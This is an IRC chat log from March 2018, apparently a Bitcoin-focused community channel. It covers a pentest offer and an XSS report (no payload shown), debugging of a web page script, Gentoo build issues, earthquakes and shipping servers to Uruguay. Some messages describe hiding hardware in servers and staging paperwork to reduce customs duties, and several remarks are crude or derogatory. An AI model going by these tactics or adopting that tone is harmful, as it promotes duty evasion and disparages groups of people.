1787628;1520875455;shinohai;!~later tell danielpbarron http://wotpaste.cascadianhacker.com/pastes/fLUGX/?raw=true
1787629;1520875456;jhvh1;shinohai: The operation succeeded.
1787630;1520875460;mod6;Ah, ok who's that?
1787631;1520875465;BlueAngelHost;i am a hosting provider company name (BlueAngelHost)
1787632;1520875525;BlueAngelHost;unfortunately I don't know his real name as we allow anonymous registration
1787633;1520875551;BlueAngelHost;i have his email but I think its not good to reveal some one's email address here
1787634;1520875556;mod6;Alright.
1787635;1520875569;asciilifeform;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/Wk9G3/?raw=true << qntra meganooseflash
1787636;1520875569;jhvh1;asciilifeform: The operation succeeded.
1787637;1520875576;mod6;What's your involvment with BlueAngelHost?
1787638;1520875614;BlueAngelHost;I am owner of this company
1787639;1520875676;mod6;Alright, well, consider getting a PGP key and registering it with deedbot
1787640;1520875703;mod6;http://deedbot.org/help.html
1787641;1520875739;ben_vulpes;> any website found to host or otherwise sponsor material that supports terrorism will be suspended immediately without notice
1787642;1520875769;mod6;Is that what his website says?
1787643;1520875773;ben_vulpes;mhm.
1787644;1520875779;mod6;DISQUALIFIED
1787645;1520875826;asciilifeform;!~later tell BingoBoingo throw that one out, corrected ver, plz use: http://p.bvulpes.com/pastes/3kjZP/?raw=true
1787646;1520875826;jhvh1;asciilifeform: The operation succeeded.
1787647;1520875876;ben_vulpes;mod6: BOOOOOO
1787648;1520875896;mod6;lol
1787649;1520875903;mod6;NOT COOL
1787650;1520875909;asciilifeform;BlueAngelHost: for what purpose did you come here? why do you imagine that you will find an audience for your provocateur nonsense here ?
1787651;1520875972;asciilifeform;BlueAngelHost has quit (Quit: Page closed) <<< ahahaha that was quick.
1787652;1520875978;trinque;I'd like to know the cheeky bastard that invites him *after* Pizarro gets rolling.
1787653;1520876035;ben_vulpes;"oh shit, someone slap together a responsive order page, make sure that it says russia in big letters"
1787654;1520876051;asciilifeform;trinque: i betcha we share a single preet with a buncha '13337' scum bois, and his desk is a bit overfilled, behind schedule, lol
1787655;1520876162;asciilifeform;gone are the 'luxurious' days when we would get a fulltime ninjashogun every quarter!11
1787656;1520876759;douchebag;If you guys need someone to pentest Pizzaro, let me know. I'd be glad to take a look at anything that needs a security audit
1787657;1520876794;ben_vulpes;douchebag: you should be able to make a list of republic ips and start scanning boxen
1787658;1520876922;douchebag;Could you send me over some of the primary domain names affiliated w/ the republic of some of the main assets?
1787659;1520876957;ben_vulpes;this falls squarely into the remit of security analysis, doesn't it?
1787660;1520876996;ben_vulpes;you could start by looking at http://btcbase.org/log-search?q=from%3Adeedbot+http
1787661;1520877043;douchebag;Alright awesome, I just wanted a bit of an idea of where I should be looking at to start getting a scope set up
1787662;1520877370;douchebag;bev
1787663;1520877385;douchebag;ben_vulpes: I have an XSS in your site
1787664;1520877409;ben_vulpes;great
1787665;1520877423;ben_vulpes;pls to paste details
1787666;1520877425;douchebag;How would you like me to reort thi to you
1787667;1520877435;douchebag;is PGP neccessary
1787668;1520877464;ben_vulpes;nah
1787669;1520877470;ben_vulpes;p.bvulpes.com works
1787670;1520877581;douchebag;kk
1787671;1520877585;douchebag;writing a report right now
1787672;1520878115;douchebag;ben_vulpes: http://p.bvulpes.com/pastes/6nxW8/?raw=true
1787673;1520878146;ben_vulpes;gotcha, thx
1787674;1520878170;douchebag;no prblemo
1787675;1520879194;spyked;http://btcbase.org/log/2018-03-12#1787606 <-- I got it to work for thetarpit, I had to solve one or two specific problems to make it work. one was to get the correct ID of the DOM subtree where the highlighting occurs (lines 43, 91 and 225 of http://deedbot.org/deed-506234-1.txt ) and another was to ensure that the recur function gets called on the correct subtree -- the original script doesn't always pass childNodes[0] as a parameter,
1787676;1520879194;a111;Logged on 2018-03-12 17:09 lobbes: I saw in logs that spyked was trying things to get it to work. You ever get that working, spyked?
1787677;1520879200;spyked;and that didn't work for me for some reason. as for other potential problems... I used the firefox dev console, single-stepping through the js code and comparing between Trilema and my blog instance.
1787678;1520879654;lobbes;Well, this gives me some things to try, so thank you! Will do some more js-diving tonight with this info in-hand and report results.
1787679;1520879680;mircea_popescu;http://btcbase.org/log/2018-03-12#1787650 http://btcbase.org/log/2018-03-12#1787620 he hosts an instance of trilema, you paranoid nuts you. something that'd actually be evidend by i dunno, looking at ip allocations ?
1787680;1520879680;a111;Logged on 2018-03-12 17:31 asciilifeform: BlueAngelHost: for what purpose did you come here? why do you imagine that you will find an audience for your provocateur nonsense here ?
1787681;1520879680;a111;Logged on 2018-03-12 17:19 trinque: did no one ever buy/sell drugs as a troubled youth, or what
1787682;1520879691;asciilifeform;lol!
1787683;1520879701;asciilifeform;d00d pattern-matched ninjashotgunner, whatcanisay.
1787684;1520879716;mod6;hah, whoops
1787685;1520879726;mircea_popescu;i can say them patterns dun work so well then, can't i.
1787686;1520879777;mod6;sorry Mr. P.
1787687;1520879804;mircea_popescu;no harm done, but i think it's educative.
1787688;1520879809;asciilifeform;if a fella who balks at mention of pgp and wot reg , is hosting a trilema mirror, than who knows, anything possible, cats lie with dogs, lions with lambs..
1787689;1520879856;asciilifeform;*then
1787690;1520879874;mircea_popescu;where is this balk ?
1787691;1520879888;shinohai;trb integrates lightning network .....
1787692;1520879914;asciilifeform;shinohai: waiwat
1787693;1520879920;mod6;the redditard bitcoin, maybe
1787694;1520879926;shinohai;kek
1787695;1520879926;mircea_popescu;he continued your ennumeration a second late.
1787696;1520879951;asciilifeform;aa
1787697;1520879979;mircea_popescu;anyway, you're too hard, too strong and too fast. bear in mind that the best steel cracks under shock and that you yourseld didn't have a pgp key before you made it.
1787698;1520879983;shinohai;My apologies, I'm not exactly most nimble of fingers these days
1787699;1520879986;trinque;my bad.
1787700;1520879987;mod6;I tried to go easy on him.  It was the info people dug up on the site that threw me for a scammer.
1787701;1520880005;asciilifeform;mircea_popescu: worse, i actually had the typical savage's sequence of abandoned keyz, going back to '90s
1787702;1520880019;mircea_popescu;i don't know of many sites besides trilema that don't look like monkey work. it's become the web tradition somehow.
1787703;1520880079;mod6;I'm 0-2 lately.  I better lay off answering the door!
1787704;1520880108;deedbot;http://qntra.net/2018/03/nsas-payload-for-the-phuctorable-mikrotik-routers-found/ << Qntra - NSA's Payload for the 'Phuctorable' MikroTik Routers Found
1787705;1520880130;mircea_popescu;lol. nothing like that mod6 , but just bear in mind that the response is about what you respond to, not the audience. just because ants drive you crazy is no reason to aim the howitzer at next ant comes by. it's NOT BIG ENOUGH. not yet at any rate.
1787706;1520880143;asciilifeform;BingoBoingo: that was veryfast, a++, ty
1787707;1520880151;mircea_popescu;nice work there.
1787708;1520880152;mod6;mircea_popescu: point taken.
1787709;1520880172;mircea_popescu;in other news, i've been working since last night at a rewrite of double indemnity ; which is coming along splendidly. kinda why i've been  quiet.
1787710;1520880184;mircea_popescu;hope to publish this afternoon, unless something happens.
1787711;1520880193;asciilifeform;mircea_popescu: the classic one, or robert sheckley's ?
1787712;1520880228;mod6;Speaking of posts, I should have my regrind post up later tonight.
1787713;1520880241;mircea_popescu;James M. Cain's original pulp and Raymond Chandler's treatment, together.
1787714;1520880245;asciilifeform;aa
1787715;1520880247;asciilifeform;neato.
1787716;1520883614;BingoBoingo;!!Up dpb_please_up
1787717;1520883615;deedbot;dpb_please_up voiced for 30 minutes.
1787718;1520883631;BingoBoingo;dpb_please_up: Welcome
1787719;1520883633;dpb_please_up;!~later tell shinohai http://wotpaste.cascadianhacker.com/pastes/Ve6o7/?raw=true
1787720;1520883633;jhvh1;dpb_please_up: The operation succeeded.
1787721;1520884740;shinohai;dpb_please_up: ack .... no rush, will gladly wait until you can get set up. :)
1787722;1520884823;dpb_please_up;kk
1787723;1520884855;dpb_please_up;ty BingoBoingo, hope all is well with you. Greetings from rural america
1787724;1520890931;mircea_popescu;ooo earthquake again
1787725;1520890940;mod6;you ok?
1787726;1520890941;BingoBoingo;Sweet
1787727;1520890947;mircea_popescu;just a light shake.
1787728;1520890958;BingoBoingo;is all it takes
1787729;1520890975;mircea_popescu;i'd guess maybe about 5 or so. but the civil alarm sirens went off.
1787730;1520891018;BingoBoingo;5 is about the line for ones I have noticed in my life. Maybe there was a 4.X somewhere down the line.
1787731;1520891114;*;mod6 has never been in one.  seems dicy.
1787732;1520891139;mircea_popescu;anyway. no damage, just the excitement.
1787733;1520891165;mod6;nice
1787734;1520891227;BingoBoingo;Back in the spring of 2008 my part of Illinois had a couple 5.x rumblers, and that is the limit of my experience with the things. For one however I was on the cantilevered balcony of a US standard apartment. Quite the ride.
1787735;1520891322;mircea_popescu;yeah, can be a bit of a ride huh.
1787736;1520898810;*;hanbot grew up along the san andreas fault, has seen a few windows blow out but not much more. 
1787737;1520898828;hanbot;i think here in cr most earthquake casualties consist of old people having heart attax
1787738;1520899101;*;asciilifeform saw an earthquake back in orcistan as a boy; unremarkable by world standards, but it dropped a chandelier, and impressed
1787739;1520905819;mod6;Evenin'
1787740;1520905884;mod6;Lords and Ladies of the Republic, here's my "blog" post on the UTF-8 character found in genesis.vpatch, please review:
1787741;1520905890;mod6;http://www.mod6.net/2018/March/12/genesis-regrind/
1787742;1520941071;diana_coman;nice work there mod6 ; the new V functionality seems to me potentially useful
1787743;1520941434;diana_coman;fwiw I grabbed the .c check script and ran it for peace of mind on eucrypt's patches with success
1787744;1520941722;mod6;thanks for checking that out diana_coman!
1787745;1520945789;trinque;since we're discussing cuntoo in pizarro, and it's more generally relevant, I'm moving the thread here.
1787746;1520945818;trinque;diana_coman tried to build a cuntoo per my recipe and was bitten by the upstream musl-overlay gentoo repository having shifted enough to break the build.
1787747;1520945897;trinque;I did not yet V genesis a portage overlay (which would eventually become the *only* portage tree, after republican ebuilds are made to replace items needed from the gentoo official portage) pending a resolution to the thread on how to handle v tree fragmentation.
1787748;1520945970;trinque;I believe it's more or less established by this point that the solution is to have a history file that's edited by patchers if they care that their patch isn't abandoned.
1787749;1520968152;mircea_popescu;spyked "the original script doesn't always pass childNodes[0] as a parameter" << whoa, where is this ?
1787750;1520968162;mircea_popescu;might be obscure bug i've been chasing ever since i put it in
1787751;1520968298;mircea_popescu;http://btcbase.org/log/2018-03-13#1787748 << just about, yes. i wanted a model file so we have something to play with and the original concept was to have phf include it in his v tree of his v rewrite because it seemed the first item that's coming out at the time from l1 hands ; but if it's holding you back re tmsr-portage, go ahead and make the sample yourself and we'll see how it works.
1787752;1520968298;a111;Logged on 2018-03-13 12:59 trinque: I believe it's more or less established by this point that the solution is to have a history file that's edited by patchers if they care that their patch isn't abandoned.
1787753;1520968300;ben_vulpes;!~ticker --market all
1787754;1520968307;jhvh1;ben_vulpes: Bitstamp BTCUSD last: 9142.99, vol: 19539.12057095 | Bitfinex BTCUSD last: 9124.9, vol: 72305.45984006 | Kraken BTCUSD last: 9127.7, vol: 13051.3224227 | Volume-weighted last average: 9128.61803267
1787755;1520971358;spyked;mircea_popescu: in scrollToHash and the onmouseup callback there's this call: recur(content.childNodes[content.childNodes[0].nodeType==3 ? 1 : 0]); <-- for some reason I couldn't get this to work, so I changed it to: recur(content); which should walk through all the children in the DOM subtree, not just childNodes[0] or childNodes[1].
1787756;1520971371;mircea_popescu;hm
1787757;1520971382;*;spyked should really reread this script more often, it doesn't seem to stick in head.
1787758;1520971397;mircea_popescu;pretty humongous penalty on large articles, try one of my mb ones with that on
1787759;1520971705;spyked;yeah. but for some reason I couldn't figure why it doesn't activate the #selection thing at all with this optimization. must be that the page layout is different. there was a thing that trilema did, hm... /me rereads http://trilema.com/2015/that-spiffy-selection-thing/
1787760;1520971801;asciilifeform;meanwhile in log-archaeology, http://btcbase.org/log/2014-09-19#836087 >> subj www still alive! but no one ever saw working device; according to authors (last post 7 july '17..) they never found an anti-gsmlossiness algo that worked worth a shit.
1787761;1520971801;a111;Logged on 2014-09-19 18:34 asciilifeform: http://www.jackpair.com << we love mitm! and prng; and luser-phriendliness...
1787762;1520972083;asciilifeform;( i'd even dare to rule out the 'shown the instruments' hypothesis, given as their crypto per se was a joke from day1. but asciilifeform was interested in re the voice codec. turns out -- open problem, to this day. )
1787763;1520972749;spyked;http://btcbase.org/log/2018-03-13#1787759 <-- a-ha, mystery solved! Trilema has a <div class="post"> child to <span id="shash-...">, so that portion of the script selects it when the child is not a text node (the nodeType==3 bit). thetarpit DOM tree is flatter and doesn't wrap the content in this additional div. NB, will keep it mind should performance ever prove to be an issue.
1787764;1520972749;a111;Logged on 2018-03-13 20:08 spyked: yeah. but for some reason I couldn't figure why it doesn't activate the #selection thing at all with this optimization. must be that the page layout is different. there was a thing that trilema did, hm... /me rereads http://trilema.com/2015/that-spiffy-selection-thing/
1787765;1520972977;spyked;now, the question is whether all wp themes use the <div class="post"> bit to wrap the title and the content. when modifying the theme, one should make sure the [content goes here] part in http://trilema.com/2015/that-spiffy-selection-thing/#selection-112.0-120.3 has this.
1787766;1520973610;deedbot;http://qntra.net/2018/03/trump-begins-cleaning-white-house-with-firings/ << Qntra - Trump Begins Cleaning White House With Firings
1787767;1520973704;deedbot;http://cascadianhacker.com/classically-inept-couriering << CH - Classically inept couriering
1787768;1520973750;*;asciilifeform reads
1787769;1520974020;*;ben_vulpes lattes
1787770;1520975972;mircea_popescu;spyked nice find. this'd not be in mp-wp by default, as it's eminently a http://btcbase.org/log/2018-03-01#1786583
1787771;1520975972;a111;Logged on 2018-03-01 06:14 phf: i think there might still be a bunch of cool stuff like that hidden in your themes, that's not in wp-mp
1787772;1520980494;deedbot;http://www.thedrinkingrecord.com/2018/03/13/migracciones-a-customer-service/ << Bingo Blog - Migracciones: A+++ Customer Service
1787773;1520980571;ben_vulpes;BingoBoingo: "deprecating" instead of "depreciating" perhaps
1787774;1520980618;BingoBoingo;ty
1787775;1520980875;deedbot;http://qntra.net/2018/03/ripple-versus-r3-holdco-spat-continues/ << Qntra - Ripple Versus R3 Holdco Spat Continues
1787776;1520986408;mircea_popescu;http://btcbase.org/log/2018-03-12#1787737 << most of the serious trouble is when chunks of mud come sliding down. especially if a road's included.
1787777;1520986408;a111;Logged on 2018-03-12 23:53 hanbot: i think here in cr most earthquake casualties consist of old people having heart attax
1787778;1520986581;mircea_popescu;and finally done with that rewrite! it ended up soaking two workdays, but seems quite worth it.
1787779;1520987114;deedbot;http://trilema.com/2018/double-indemnity-but-proper-like/ << Trilema - Double Indemnity. But proper, like.
1787780;1520997201;trinque;diana_coman: regarding your cuntoo build problem, net-tools upstream has apparently broken build on default gcc-4.9.4. If I pass -std=gnu99, the definer of IFNAMSIZ is included and the thing builds.
1787781;1520997268;trinque;rather than accept the insult and add tape, I lean towards basing the thing on busybox and pulling this and other redundancies out.
1787782;1520997668;trinque;at any rate, this needs a longer look. we don't need to be going "oh upstream broke us" again in a month. meanwhile I don't want to hold anyone up setting up a pizarro box.
1787783;1520998050;mircea_popescu;and in other western lulz, http://offbeatoregon.com/1501c.how-to-rob-trains-with-blackie-duquesne.html
1787784;1520998151;mircea_popescu;trinque how's you giving things the needed looks hold up anyone ?
1787785;1520998558;trinque;she was building the thing evaluating it for her own use. still can, but will need a revision from me, which I'm working on.
1787786;1520998600;trinque;if she doesn't want to wait, eventually there will be a way to transition a classical gentoo box forthcoming, since I'll be doing it to my own.
1787787;1520998768;mircea_popescu;ic
1787788;1521000234;mircea_popescu;ahahahaha check out the hysterical history of pantsuitism! http://offbeatoregon.com/1502a.rebel-flag-over-oregon.324.html
1787789;1521000249;mircea_popescu;choicest bits : "Staunch Unionists in Eugene were outraged. They did not, however, feel outraged enough to brave those grim-faced Smithfield sharpshooters in an attempt to do something about it. So instead, they complained bitterly to every authority they could reach: the sheriff, the state legislature, and yes, the federal government in Washington, D.C."
1787790;1521000267;mircea_popescu;"A few weeks later, one of the Smithfield rebels was caught in Eugene trying to buy supplies, and arrested and lodged in a jailhouse. Word spread quickly, and a lynch mob soon had assembled to lay siege to the jailhouse. But the rebel, who had hidden a tiny penknife somewhere on his person, put up such a ferocious fight that vigilante justice was delayed long enough for the sheriff to arrive with a posse, and soon the mob was
1787791;1521000268;mircea_popescu; dispersed."
1787792;1521000377;ben_vulpes;complaining bitterly to any mother who might be nearby is how oregonians do everything
1787793;1521000388;ben_vulpes;https://bikeportland.org/ modern variant
1787794;1521000412;mircea_popescu;oh, don't forget the send-off, "if anyone had shot at mommy, THE ENTIRE WORLD WOULD HAVE BEEN RAZED DOWN!!!! but since i could find no record of it happening..."
1787795;1521000478;ben_vulpes;womxn is the new word in other linguistic backflips
1787796;1521000582;mircea_popescu;why not dumbxss
1787797;1521002188;hanbot;<ben_vulpes> womxn is the new word in other linguistic backflips << why, has the average one gotten so large you can't tell whether or not she's a plurality?
1787798;1521002203;mircea_popescu;lmao
1787799;1521002320;mircea_popescu;o wow BingoBoingo is getting an uruguayan cedula ?!
1787800;1521002408;mircea_popescu;but i lolled at the fbi check through interpol. "send me an aba wire through sepa!"
1787801;1521002564;mircea_popescu;and check out ben_vulpes ; he actually knows the terms of art now. been doing some reading ?
1787802;1521002671;ben_vulpes;which in particular?
1787803;1521002679;mircea_popescu;lol.
1787804;1521002682;ben_vulpes;niggardly?
1787805;1521002709;mircea_popescu;ok, why not. "catastrophes in complex systems fall out of failure cascades" is almost  bibliography calc, neh ?
1787806;1521002715;mircea_popescu;amost exactly*
1787807;1521002804;ben_vulpes;iirc that nugget stuck with me from a piece on five mile island i read lord only knows how long ago
1787808;1521002817;mircea_popescu;ic
1787809;1521002831;mircea_popescu;well, it's how the people who make this stuff their business call things, anyway.
1787810;1521002887;ben_vulpes;i think i will take the avuncular head-pat
1787811;1521002942;mircea_popescu;lol.
1787812;1521002956;mircea_popescu;why were the posts too far for your rails!
1787813;1521002967;mircea_popescu;buncha starstruck noobs.
1787814;1521003039;ben_vulpes;i halfway suspect that nobody had ever looked inside that cabinet until BingoBoingo; maybe arrived from the boat preassembled even, to dimensions convenient to assemblers and not users.
1787815;1521003053;mircea_popescu;incidentally, i'm such a fan of crescent wrenches i actually keep them around as art objects / use them idly while walking around the house as sceptres, gesture with them and so forth.
1787816;1521003065;mircea_popescu;"french wrench" in romanian, an they kick ass.
1787817;1521003106;ben_vulpes;"llave ingles" in sudamerica
1787818;1521003113;mircea_popescu;i actually have a 12 inch truper right on this desk
1787819;1521003130;mircea_popescu;i've had it for a year, afaik never used yet for anything in the vein of its intended utilities.
1787820;1521003144;ben_vulpes;they've always been my "wrong tool for every job"; i'd rather have a set of deep sockets in pretty much every situation.
1787821;1521003194;mircea_popescu;but this is better to crack almonds with.
1787822;1521003236;ben_vulpes;now see that's a job for vice grips
1787823;1521003258;ben_vulpes;can get them to bottom out just beyond the cracking distance!
1787824;1521003292;mircea_popescu;next you're going to build elaborate nutcrackers like those doomed bavarians.
1787825;1521003342;mircea_popescu;ben_vulpes it's not "a chance", it's a virtual guarantee. were you there and pissed they'd have pushed you though apologetically.
1787826;1521003353;mircea_popescu;but stuck for hours with $mysteriousbag... and bored...
1787827;1521003431;ben_vulpes;perhaps i'll have the opportunity to run the experiment some day and we can see
1787828;1521003474;mircea_popescu;but the point is solid, you need the forum MORE when you're in the shit, not less.
1787829;1521003545;ben_vulpes;expensive lesson
1787830;1521003606;asciilifeform;http://btcbase.org/log/2018-03-14#1787815 << bahaha i was near certain nobody else did this !
1787831;1521003606;a111;Logged on 2018-03-14 04:50 mircea_popescu: incidentally, i'm such a fan of crescent wrenches i actually keep them around as art objects / use them idly while walking around the house as sceptres, gesture with them and so forth.
1787832;1521003692;mircea_popescu;"anyone taking hardware to Spaceship Montevideo must conceal as much of it in servers as possible" << - >> http://btcbase.org/log/2018-02-06#1782043 and all that, yes ? i thought this was amply discussed in february.
1787833;1521003692;a111;Logged on 2018-02-06 13:13 mircea_popescu: intel thinking at the time being is, "have the paperwork for mbs and chips in slot 1 ; paperwork for disks in slot 2 ; for ram in slot 3. then if asked for papers, present slot 1, offer to pay, whine and ask for discounts, etc. if that dun pass, add slot 2, whine more insistently."
1787834;1521003733;mircea_popescu;asciilifeform as he says, they're not actually useful other than symbolically. but symbolically AND HOW
1787835;1521003748;asciilifeform;'vicegrip' evenbetter toy
1787836;1521003759;asciilifeform;( and even more monumentally useless in actual use )
1787837;1521003787;mircea_popescu;i dunno, by now we're starting towards gynecological instruments.
1787838;1521003826;asciilifeform;i'm half convinces that ~every d00d, whether admits or not, owns at least a speculum
1787839;1521003837;asciilifeform;( if not a tenaculum )
1787840;1521003841;mircea_popescu;BingoBoingo ben_vulpes next time, turn the damned things on for half an hour, covers off, so they suck in some dust also.
1787841;1521004368;ben_vulpes;'tis more or less what i had, but inapplicable to a bag of parts. the three new-in-box drives plus the expediter's fee plus a honking pile of taxesnfees-that-aren't-IVA was the bulk of the bill.
1787842;1521004382;ben_vulpes;net tax on the miserably small pile that was actually declared ran in the 45% range
1787843;1521004404;ben_vulpes;http://pizarroisp.net/wp-content/uploads/2018/03/vulpes.pdf
1787844;1521004418;ben_vulpes;( http://logs.bvulpes.com/pizarro?d=2018-3-14#312455 )
1787845;1521004445;ben_vulpes;interestingly, drives bolted to trays were effectively untaxed.
1787846;1521005601;mircea_popescu;meanwhile in "traffic" and other web 2.0 lulz, https://www.alexa.com/siteinfo/namesakeoscilloscopemarquis.com
1787847;1521005640;mircea_popescu;(not solitary case, https://www.alexa.com/siteinfo/potpourrichordataoscilloscope.com etc)
1787848;1521005707;mircea_popescu;germany's crazy with 0-length content "webstites".
1787849;1521011749;diana_coman;trinque, sounds good; and I'm certainly interested in a recipe for transitioning a classical gentoo as well since I can quite see I'll need it anyway
1787850;1521012737;mircea_popescu;in bonus lulz, https://www.youtube.com/watch?v=ShV5nfgmaOI
1787851;1521012809;mircea_popescu;imo much better than the baez original, specifically because it's the same pantsuitism (tho for all the bonus levels of involuntary lulz one actually needs fluent romanian)
1787852;1521012837;mircea_popescu;https://www.youtube.com/watch?v=x6-6JXQY558 same gal, for balance.
1787853;1521012869;mircea_popescu;"luciri de lampadare" takes all the caek.
1787854;1521033430;mod6;mornin'
1787855;1521041973;BingoBoingo;<mircea_popescu> o wow BingoBoingo is getting an uruguayan cedula ?! << Well, kind goes with the de-empirification process
1787856;1521042032;BingoBoingo;<mircea_popescu> but i lolled at the fbi check through interpol. "send me an aba wire through sepa!" << Apparently US law enforcement does not answer these requests from US persons, hence the WTF intermediary
1787857;1521050300;deedbot;http://qntra.net/2018/03/us-sec-elizabeth-holmes-and-theranos-announce-massive-fraudcharges-and-proposed-settlement-together/ << Qntra - US SEC, Elizabeth Holmes, And Theranos Announce "Massive Fraud"Charges And Proposed Settlement Together
1787858;1521065539;deedbot;http://trilema.com/2018/lili-marleen-the-only-english-version-that-doesnt-suck/ << Trilema - Lili Marleen, the only English version that doesn't suck.
1787859;1521073074;BingoBoingo;!~ticker --market all
1787860;1521073080;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 8239.94, vol: 21206.61521357 | Bitfinex BTCUSD last: 8204.9, vol: 78055.15947485 | Kraken BTCUSD last: 8199.8, vol: 16286.7813589 | Volume-weighted last average: 8210.61203341
1787861;1521074666;hanbot;phf fwiw btcbase.org/data/vtools/vtools_vdiff_sha.vpatch.phf.sig 404s
1787862;1521076772;mircea_popescu;soo this actually (mostly) functional drive actually fails to read its own smart data.
1787863;1521076779;mircea_popescu;i've never seen something like this before.
1787864;1521076807;*;asciilifeform seen
1787865;1521076822;asciilifeform;but it was a drive where i , uh, molested, the firmware
1787866;1521076873;asciilifeform;( a la http://qntra.net/2015/02/your-disk-controller-and-you but 'before it was cool'(tm) )
1787867;1521078660;mircea_popescu;this is just an ancient (80gb) drive.
1787868;1521078666;mircea_popescu;2057 bad sectors.
1787869;1521078741;mircea_popescu;old style ide
1787870;1521078932;asciilifeform;lol! i thought you'd boiled those in tomato soup
1787871;1521078956;asciilifeform;( http://trilema.com/2014/spy-stuff/ )
1787872;1521079030;asciilifeform;fwiw 'smart' wasn't marketed till 2004 iirc. so possibly the thing dun even have it.
1787873;1521079098;asciilifeform;( prior to the standard, you could only read diskrot data via proprietary magics )
1787874;1521079203;*;asciilifeform pulls a 80G ( circa 2001 ) out of the depths of the depths -- and - as expected - no 'smart'
1787875;1521079260;asciilifeform;sorta how my '92 toyota had no obd plug
1787876;1521079262;*;asciilifeform bbl.
1787877;1521091768;mircea_popescu;asciilifeform iirc this set is 2005 or 2006 vintage.
1787878;1521091788;mircea_popescu;the 500gb had just come out and ppl were starting to make jokes re eventual tb
1787879;1521094653;ben_vulpes;mircea_popescu: in your AN0 document, you say that shareholder equity is the difference between the sum of assets and other liabilities, but when i tot that up i get the 11.9etc, and not the 11 that your comment mentions. naively, that's the equity that the shareholders put in, but i'm struggling to reconcile that with an0 liabilities bullet #2
1787880;1521094681;ben_vulpes;(in reference to the february pizarro statement and comment http://pizarroisp.net/index.php/2018/02/pizarro-statement-february-2018/comment-page-1/#comment-24 )
1787881;1521095617;mircea_popescu;note that when i jot down comments i approximate numbers.
1787882;1521095622;mircea_popescu;tis your job to get the decimal points.
1787883;1521095708;mircea_popescu;in other lulz, NFC7AZcrane (~sezhzn@node-gce.pool-101-51.dynamic.totbb.net) just spammed #eulora, but not tried to connect here. apparently teh voice model discourages irc spammers that much.
1787884;1521095780;mircea_popescu;and i've quite enjoyed reading al schwartz. in peristaltic news, wikipedia thinks there's a dozen al schwartzes out there, NONE of which this one, and none of which worth any kind of mention.
1787885;1521096290;ben_vulpes;was the thrust of your comment that the net change column should see a value of 11? decimals aside i don't understand what you were driving at with that comment.
1787886;1521126402;asciilifeform;!~later tell ben_vulpes i am getting 'cannot sent to channel' eggog in #pizarro
1787887;1521126402;jhvh1;asciilifeform: The operation succeeded.
1787888;1521126512;asciilifeform;!~later tell ben_vulpes your conf is http://p.bvulpes.com/pastes/EiCDX/?raw=true ; you will prolly want to change CONFIG_LOCALVERSION to something of your own. aside from that -- is good to go.
1787889;1521126512;jhvh1;asciilifeform: The operation succeeded.
1787890;1521126985;asciilifeform;mod6 around ?
1787891;1521127231;ben_vulpes;thanks asciilifeform
1787892;1521127269;asciilifeform;np. plz lemme know if it worked correctly.
1787893;1521127269;mod6;yup
1787894;1521127274;mod6;here
1787895;1521127321;ben_vulpes;mod6: can ya fix voice in #pizarro? asciilifeform reports cannot send to channel
1787896;1521127472;mod6;yup yup
1787897;1521128179;lobbes;mircea_popescu: relatedly, last night I came across gabriel_laddel's links on trilema and found myself quickly engulfed in uncle al's burn saga (my first time reading it). That guy is fucking good indeed.
1787898;1521128184;lobbes;One of my favorite gems:
1787899;1521128185;lobbes;"Contrary to medical opinion, a patent absolutely sloshed on morphine and diazepine tranquilizers can indeed work up sufficient rage to vociferously complain, bellow actually, about the sound and feeling of cancellous bone being crushed inside his skull as a bored nurse thrashes a lead-weighted truncheon about the insides his sinuses. She knew there was an exit to my throat back there somewhere, it was in the anatomy books. If she could not find it
1787900;1521129323;lobbes;I'm tempted to mirror and index everything I can find on mazepath.com before it is swallowed by the null ocean
1787901;1521129549;asciilifeform;lobbes: http://p.bvulpes.com/pastes/fjfHv/?raw=true
1787902;1521130246;lobbes;Aha. ty asciilifeform!
1787903;1521131214;trinque;lobbes: nothing could be cheaper today or more expensive tomorrow
1787904;1521131239;*;trinque routinely archives good www
1787905;1521135983;deedbot;http://www.dianacoman.com/2018/03/15/eucrypt-additional-check-and-a-note-on-cosmetic-changes/ << Ossasepia - EuCrypt: Additional Check and a Note on Cosmetic Changes
1787906;1521136209;mircea_popescu;http://btcbase.org/log/2018-03-15#1787885 << no, that's just the b.6 portion. (and i don't like this "main thrust" device in general, it's one thing to try and get all the angles, but it's folly to try and select "the main one".)
1787907;1521136209;a111;Logged on 2018-03-15 06:44 ben_vulpes: was the thrust of your comment that the net change column should see a value of 11? decimals aside i don't understand what you were driving at with that comment.
1787908;1521136395;mircea_popescu;http://btcbase.org/log/2018-03-15#1787900 << o, yeah, do it.
1787909;1521136395;a111;Logged on 2018-03-15 15:55 lobbes: I'm tempted to mirror and index everything I can find on mazepath.com before it is swallowed by the null ocean
1787910;1521136447;mod6;diana_coman: seems to verify and press fine; http://p.bvulpes.com/pastes/wwhPv/?raw=true
1787911;1521136472;diana_coman;mod6, thanks for the super-speedy check!
1787912;1521136472;mircea_popescu;his contributions on usenet suffer very much from the naggum problem (he's plain idiotic plenty of places, apparently interacting with idiots corrups HIM rather than corrupting them into being less idiotic) ; but such annoyances aside i don't know anyone coming around being so right since tlp.
1787913;1521136497;mircea_popescu;mod6 that was quick eh!
1787914;1521136507;mod6;mircea_popescu, diana_coman: np!
1787915;1521136539;mircea_popescu;http://btcbase.org/log/2018-03-15#1787895 << why dja even have voice there ? notforcustomers ?
1787916;1521136539;a111;Logged on 2018-03-15 15:22 ben_vulpes: mod6: can ya fix voice in #pizarro? asciilifeform reports cannot send to channel
1787917;1521136585;asciilifeform;mircea_popescu: until today i did not even notice that it had +m...
1787918;1521136595;mircea_popescu;(other than the usenet nonsense, and quite amusingly to me, al is MOST wrong on the topic of... management!)
1787919;1521136670;asciilifeform;mircea_popescu: d00d spent his entire working life in the midst of usa's deindustrialization autolysis. where was he to ever see, hear, smell, example of goodmanager.
1787920;1521136675;mod6;it seems that it was somehow turned on by default when i registered the channel -- and had removed the -m by hand.
1787921;1521136680;mod6;forgot to lock the modes.
1787922;1521136705;mod6;so when I lost my connection yesterday or the day before, i had to recover the channel, which reset the original modes.
1787923;1521136733;mod6;now (there are links to me doing so in #pizarro) I have locked the modes to +cnt for now.
1787924;1521136811;mod6;!!up mircea_popescu
1787925;1521136812;deedbot;mircea_popescu voiced for 30 minutes.
1787926;1521136813;mircea_popescu;ty
1787927;1521136827;mod6;np!
1787928;1521136848;mircea_popescu;asciilifeform right. i don't hold it against him any. but has to be said.
1787929;1521136956;mircea_popescu;iirc we tried to get him to show up years ago, but it didn't take
